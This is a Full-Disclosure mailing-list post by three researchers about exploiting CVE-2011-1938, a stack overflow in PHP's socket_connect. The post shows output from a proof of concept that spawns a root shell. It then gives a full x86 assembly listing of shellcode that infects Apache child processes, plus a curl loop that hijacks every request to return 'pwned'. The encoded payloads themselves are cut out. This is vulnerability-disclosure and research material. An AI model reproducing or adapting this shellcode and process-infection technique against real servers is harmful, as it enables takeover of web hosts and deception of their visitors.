Hi there, This is a quick writeup about some fun with apache based on CVE-2011-1938 that was disclosed yesterday. While the first POC was literally just a trivial POC - the second one was written for self-educational purposes (we leared quite a lot which is the most important thing) and we hope it might be useful for some other vulnerabilities of this/similar type. This is an old fashioned stack buffer overflow in the socket module, problem occurs in the socket_connect. It uses memcpy to copy path from addr to s_un without checking addr length in case when AF_UNIX socket is used. POC popping a shell: -- cut -- -- cut -- Testing POC : -- cut -- test@Vdft02:/home/n1x0n# php ./kaka4.php [+] there we go... [+] creating the sled. [+] popping shell, have fun. PHP Warning: socket_connect(): unable to connect [22]: Invalid argument in /home/n1x0n/kaka4.php on line 16 bash-4.1# -- cut -- Now, popping a shell from a .php file that we just uploaded is quite lame and boring isn't (yes you can use remote connect back with RFI etc..) it ? Instead we decided to create a shellcode that will do something less common and more appropriate to this particular type of vulnerability. As we pretty much have a _full_ control over the apache child process and it's memory - we can do whatever we like with it. So one of the things that we considered to be quite nifty was forcing apache child process to serve a page of our choice. Few problems appeared at this point : how apache handles connections, how to cleanly get back to apache from our shellcode, how to keep our handler in memory and respond to requests etc etc... and after few long nights of playing with this we managed to create a shellcode that simply "infects" the apache child process that handled connection to our "magic" php script, and all new requests that will be handled by this child will return a page of our choice. We decided to create a simple apache module, and use apache's built in functionality to generate content(av_rputs), then to use mmap2 to keep our code in memory when our shellcode leaves. Next step is to overwrite _hooks in apache and exit in a neat way by signalling the process with SIGPROF thanks to which the signal handler cleans everything up behind us. So the main idea is to "infect" apache child process with our own code. If we do this several times - we can infect _all_ apache child processes effectively hijacking _all_ requests comming into apache. This is the result (obviously you need to guess/find few addresses due to ASLR like av_rputs & _handle ). Other protections will prevent this from working (like SSP,PIE and such). BEFORE (everything works as expected): -- cut -- test@Vdft02:~# curl localhost

It works!

test@Vdft02:~# curl http://localhost/this_does_not_exist 404 Not Found

Not Found

The requested URL /this_does_not_exist was not found on this server.

-- cut -- Then we call our magic file few times, you'll see the SIGPERF signal sent by a shellcode (this is a good sign ;-P ) : -- cut -- test@Vdft02:~# curl http://localhost/cz.php
Warning: socket_connect() [function.socket-connect]: unable to connect [9]: Bad file descriptor in /test/apacz/a/htdocs/cz.php on line 31

Fatal error: Maximum execution time of 30 seconds exceeded in /test/apacz/a/htdocs/cz.php on line 31
-- cut -- This has to be done several times so that we inject code to all child pids (not going to add more spam here with all these requests) : for i in $(seq 1 512) ; do curl http://localhost/cz.php ; done AFTER: -- cut -- test@Vdft02:~# curl http://localhost/ pwned test@Vdft02:~# curl http://localhost/does_not_exist pwned test@Vdft02:~# curl http://localhost/does_not_exist.php pwned test@Vdft02:~# curl http://localhost/does_not_exist.jpg pwned -- cut -- And this is the code with the infecting shellcode. -- cut -- -- cut -- and above shellcode in a human readable form would be something along these lines: -- cut -- section .text _start: xor ecx, ecx xor edx, edx xor ebx, ebx ; NULL mov cx,0x200 ; 512 bytes mov dx,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC mov esi,0x22 ; MAP_PRIVATE|MAP_ANONYMOUS mov edi,0xffffffff ; -1 xor ebp, ebp ; mov eax,0xc0 ; mmap() int 80h mov edi, eax mov ebx, eax jmp short handler next_3: pop esi mov ecx, 0x200 rep movsb mov eax, 0x80cc2c0 mov eax, [eax+0x14] mov eax, [eax+0x10] mov [eax], ebx ; kill(getpid(), SIGPROF) xor eax, eax xor ebx, ebx xor ecx, ecx mov ax, 20 ; getpid() int 80h mov ebx, eax ; pid mov cx, 27 ; SIGPROF mov ax, 37 ; kill() int 80h ; not reached handler: call near next_3 push ebp mov ebp, esp mov ebx, [ebp+8] push ebx jmp short pwned next_2: mov eax, 0xb4dc0d3d call eax add esp, 8 xor eax, eax leave ret pwned: call near next_2 db "pwned",10,0 -- cut -- Found and exploited by: Mateusz (shm) Kocielski, Filip (s1m0n) Palian and Marek (n1x0n) Kroemeke Best regards, Marek _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/